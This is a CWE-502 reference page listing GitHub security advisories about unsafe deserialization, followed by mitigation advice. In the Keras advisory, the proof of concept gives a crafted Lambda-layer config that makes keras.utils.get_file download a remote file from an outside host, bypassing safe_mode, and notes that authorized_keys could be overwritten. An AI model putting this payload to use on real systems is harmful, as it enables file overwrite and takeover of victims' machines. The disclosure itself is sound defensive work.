Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4807 vulnerabilities reference this CWE, most recent first.

GHSA-C8M3-38Q9-8587

Vulnerability from github – Published: 2022-05-14 03:55 – Updated: 2022-05-14 03:55
VLAI
Details

ext/standard/var_unserializer.c in PHP before 5.6.25 and 7.x before 7.0.10 mishandles certain invalid objects, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-7124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-09-12T01:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "ext/standard/var_unserializer.c in PHP before 5.6.25 and 7.x before 7.0.10 mishandles certain invalid objects, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call.",
  "id": "GHSA-c8m3-38q9-8587",
  "modified": "2022-05-14T03:55:50Z",
  "published": "2022-05-14T03:55:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e?w=1"
    },
    {
      "type": "WEB",
      "url": "https://bugs.php.net/bug.php?id=72663"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201611-22"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2016-19"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2016/09/02/9"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-2750.html"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-5.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-7.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/92756"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1036680"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C8P3-H9QP-45FM

Vulnerability from github – Published: 2023-01-13 00:30 – Updated: 2023-01-23 18:30
VLAI
Details

Delta Electronics InfraSuite Device Master versions 00.00.01a and prior deserialize user-supplied data provided through the Device-DataCollect service port without proper verification. An attacker could provide malicious serialized objects to execute arbitrary code upon deserialization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-13T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Delta Electronics InfraSuite Device Master versions 00.00.01a and prior deserialize user-supplied data provided through the Device-DataCollect service port without proper verification. An attacker could provide malicious serialized objects to execute arbitrary code upon deserialization.",
  "id": "GHSA-c8p3-h9qp-45fm",
  "modified": "2023-01-23T18:30:17Z",
  "published": "2023-01-13T00:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41778"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-298-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C8Q4-9H32-2WW8

Vulnerability from github – Published: 2026-06-22 20:43 – Updated: 2026-06-22 20:43
VLAI
Summary
Spinnaker has uon-safe yaml deserialization, allowing RCE when using specific types
Details

Impact

There's an unsafe YAML processing vulnerability that bypasses safe deserialization. This impacts users when when performing: * CloudFormation deployments * CloudFoundry Baking

The usage of a non-safe constructor use allows arbitrary loading of Java classes leading to RCE.

Patches

2025.3.3, 2026.0.3 and 2025.4.4.

Workarounds

Disable the CloudFormation system and cloudfoundry baking operations.

Resources

Join Spinnaker on Slack for more information!

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.0.0"
            },
            {
              "fixed": "2026.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.0.0"
            },
            {
              "fixed": "2026.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T20:43:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nThere\u0027s an unsafe YAML processing vulnerability that bypasses safe deserialization. This impacts users when when performing:\n* CloudFormation deployments\n* CloudFoundry Baking\n\nThe usage of a non-safe constructor use allows arbitrary loading of Java classes leading to RCE.\n\n### Patches\n 2025.3.3, 2026.0.3 and 2025.4.4.\n\n### Workarounds\nDisable the CloudFormation system and cloudfoundry baking operations.\n\n### Resources\nJoin Spinnaker on Slack for more information!",
  "id": "GHSA-c8q4-9h32-2ww8",
  "modified": "2026-06-22T20:43:37Z",
  "published": "2026-06-22T20:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-c8q4-9h32-2ww8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spinnaker/spinnaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spinnaker has uon-safe yaml deserialization, allowing RCE when using specific types"
}

GHSA-C8WV-Q6VG-RC4F

Vulnerability from github – Published: 2022-05-24 19:01 – Updated: 2022-05-24 19:01
VLAI
Details

Artica Pandora FMS 742 allows unauthenticated attackers to perform Phar deserialization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-32098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-07T04:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Artica Pandora FMS 742 allows unauthenticated attackers to perform Phar deserialization.",
  "id": "GHSA-c8wv-q6vg-rc4f",
  "modified": "2022-05-24T19:01:52Z",
  "published": "2022-05-24T19:01:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32098"
    },
    {
      "type": "WEB",
      "url": "https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained"
    },
    {
      "type": "WEB",
      "url": "https://pandorafms.com/blog/whats-new-in-pandora-fms-743"
    },
    {
      "type": "WEB",
      "url": "https://portswigger.net/daily-swig/multiple-vulnerabilities-in-pandora-fms-could-trigger-remote-execution-attack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C957-43MV-GCVV

Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31
VLAI
Details

Deserialization of untrusted data in Microsoft Office allows an unauthorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T17:15:41Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of untrusted data in Microsoft Office allows an unauthorized attacker to elevate privileges locally.",
  "id": "GHSA-c957-43mv-gcvv",
  "modified": "2025-07-08T18:31:45Z",
  "published": "2025-07-08T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47994"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47994"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9JC-JV3W-6J48

Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in Adrian Tobey Groundhogg allows Object Injection. This issue affects Groundhogg: from n/a through 4.2.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T08:15:48Z",
    "severity": "MODERATE"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Adrian Tobey Groundhogg allows Object Injection. This issue affects Groundhogg: from n/a through 4.2.2.",
  "id": "GHSA-c9jc-jv3w-6j48",
  "modified": "2026-04-01T18:35:56Z",
  "published": "2025-08-20T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54053"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/groundhogg/vulnerability/wordpress-groundhogg-4-2-2-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9PR-M29P-3RP7

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details

A unsafe deserialization vulnerability exists in the PackageManagement.plugin ExtensionMethods.Clone() functionality of CODESYS GmbH CODESYS Development System 3.5.16. A specially crafted file can lead to arbitrary command execution. An attacker can provide a malicious file to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-02T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A unsafe deserialization vulnerability exists in the PackageManagement.plugin ExtensionMethods.Clone() functionality of CODESYS GmbH CODESYS Development System 3.5.16. A specially crafted file can lead to arbitrary command execution. An attacker can provide a malicious file to trigger this vulnerability.",
  "id": "GHSA-c9pr-m29p-3rp7",
  "modified": "2022-05-24T19:09:30Z",
  "published": "2022-05-24T19:09:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21865"
    },
    {
      "type": "WEB",
      "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=16805\u0026token=ee583c498941d9fda86490bca98ff21928eec08a\u0026download="
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1301"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9RC-MG46-23W3

Vulnerability from github – Published: 2025-08-12 19:33 – Updated: 2026-05-29 20:50
VLAI
Summary
Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality
Details

Summary

It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

Impact

Type Vector Impact
Unsafe deserialization Client-Side (when loading untrusted model) Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.

Details

Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -

if config["class_name"] == "__lambda__":
        if safe_mode:
            raise ValueError(
                "Requested the deserialization of a `lambda` object. "
                "This carries a potential risk of arbitrary code execution "
                "and thus it is disallowed by default. If you trust the "
                "source of the saved model, you can pass `safe_mode=False` to "
                "the loading function in order to allow `lambda` loading, "
                "or call `keras.config.enable_unsafe_deserialization()`."
            )

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.

package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:

However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location. This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine. Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).

Example

The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -

           {
                "class_name": "Lambda",
                "config": {
                    "arguments": {
                        "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
                        "cache_dir":"/tmp",
                        "cache_subdir":"",
                        "force_download": true},
                    "function": {
                        "class_name": "function",
                        "config": "get_file",
                        "module": "keras.utils"
                    }
                },
 ```


### PoC

1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory

2. Load the model -

from keras.models import load_model model = load_model("malicious_model_download.keras", safe_mode=True) ```

  1. Observe that a new file index.js was created in the /tmp directory

Fix suggestions

  1. Add an additional flag block_all_lambda that allows users to completely disallow loading models with a Lambda layer.
  2. Audit the keras, keras_hub, keras_cv, keras_nlp modules and remove/block all “gadget functions” which could be used by malicious ML models.
  3. Add an additional flag lambda_whitelist_functions that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

Credit

The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T19:33:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nIt is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when \u201csafe_mode\u201d is enabled, by crafting malicious arguments to built-in Keras modules.\n\nThe vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).\n\n### Impact\n\n| Type   | Vector   |Impact|\n| -------- | ------- | ------- |\n|Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|\n\n\n### Details\n\nKeras\u2019 [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the \u201c__lambda__\u201d class name.\nhttps://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -\n\n```\nif config[\"class_name\"] == \"__lambda__\":\n        if safe_mode:\n            raise ValueError(\n                \"Requested the deserialization of a `lambda` object. \"\n                \"This carries a potential risk of arbitrary code execution \"\n                \"and thus it is disallowed by default. If you trust the \"\n                \"source of the saved model, you can pass `safe_mode=False` to \"\n                \"the loading function in order to allow `lambda` loading, \"\n                \"or call `keras.config.enable_unsafe_deserialization()`.\"\n            )\n```\n\nA fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit [bb340d6780fdd6e115f2f4f78d8dbe374971c930](https://github.com/keras-team/keras/commit/bb340d6780fdd6e115f2f4f78d8dbe374971c930). \n\n```\npackage = module.split(\".\", maxsplit=1)[0]\nif package in {\"keras\", \"keras_hub\", \"keras_cv\", \"keras_nlp\"}:\n```\n\nHowever, it is still possible to exploit model loading, for example by reusing the internal Keras function `keras.utils.get_file`, and download remote files to an attacker-controlled location.\nThis allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious `authorized_keys` file into the user\u2019s SSH folder, giving the attacker full SSH access to the victim\u2019s machine.\nSince the model does not contain arbitrary Python code, this scenario will not be blocked by \u201csafe_mode\u201d. It will bypass the latest fix since it uses a function from one of the approved modules (`keras`).\n\n#### Example \nThe following truncated `config.json` will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local `/tmp` folder, by sending arbitrary arguments to Keras\u2019 builtin function `keras.utils.get_file()` -\n\n```\n           {\n                \"class_name\": \"Lambda\",\n                \"config\": {\n                    \"arguments\": {\n                        \"origin\": \"https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js\",\n                        \"cache_dir\":\"/tmp\",\n                        \"cache_subdir\":\"\",\n                        \"force_download\": true},\n                    \"function\": {\n                        \"class_name\": \"function\",\n                        \"config\": \"get_file\",\n                        \"module\": \"keras.utils\"\n                    }\n                },\n ```\n\n\n### PoC\n\n1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory\n\n2. Load the model -\n\n```\nfrom keras.models import load_model\nmodel = load_model(\"malicious_model_download.keras\", safe_mode=True)\n```\n\n3. Observe that a new file `index.js` was created in the `/tmp` directory \n\n### Fix suggestions\n1. Add an additional flag `block_all_lambda` that allows users to completely disallow loading models with a Lambda layer.\n1. Audit the `keras`, `keras_hub`, `keras_cv`, `keras_nlp` modules and remove/block all \u201cgadget functions\u201d which could be used by malicious ML models.\n1. Add an additional flag `lambda_whitelist_functions` that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer\n\n### Credit \nThe vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research",
  "id": "GHSA-c9rc-mg46-23w3",
  "modified": "2026-05-29T20:50:08Z",
  "published": "2025-08-12T19:33:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/security/advisories/GHSA-c9rc-mg46-23w3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/pull/21429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/commit/713172ab56b864e59e2aa79b1a51b0e728bba858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keras-team/keras"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2025-75.yaml"
    },
    {
      "type": "WEB",
      "url": "https://jfrog.com/blog/keras-safe_mode-bypass-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality"
}

GHSA-C9RR-C93M-9HVH

Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32
VLAI
Details

Subscriber PHP Object Injection in Buddyboss Platform <= 3.0.4 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-56032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:43Z",
    "severity": "CRITICAL"
  },
  "details": "Subscriber PHP Object Injection in Buddyboss Platform \u003c= 3.0.4 versions.",
  "id": "GHSA-c9rr-c93m-9hvh",
  "modified": "2026-06-26T15:32:16Z",
  "published": "2026-06-26T15:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56032"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/buddyboss-platform/vulnerability/wordpress-buddyboss-platform-plugin-3-0-4-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9RV-F9QQ-JJVF

Vulnerability from github – Published: 2022-05-24 17:06 – Updated: 2022-10-29 12:00
VLAI
Details

Vulnerability in the Oracle GraalVM Enterprise Edition product of Oracle GraalVM (component: Java). The supported version that is affected is 19.3.0.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM Enterprise Edition. Note: GraalVM Enterprise 19.3 and above includes both Java SE 8 and Java SE 11. CVSS 3.0 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-2604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-15T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle GraalVM Enterprise Edition product of Oracle GraalVM (component: Java). The supported version that is affected is 19.3.0.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM Enterprise Edition. Note: GraalVM Enterprise 19.3 and above includes both Java SE 8 and Java SE 11. CVSS 3.0 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-c9rv-f9qq-jjvf",
  "modified": "2022-10-29T12:00:37Z",
  "published": "2022-05-24T17:06:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2604"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4621"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4605"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4257-1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200122-0003"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202101-19"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2020/Jan/24"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2020/Feb/22"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00034.html"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10315"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0632"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0541"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0470"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0469"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0468"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0467"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0465"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0232"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0231"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0202"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0196"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0128"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0122"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00050.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00060.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.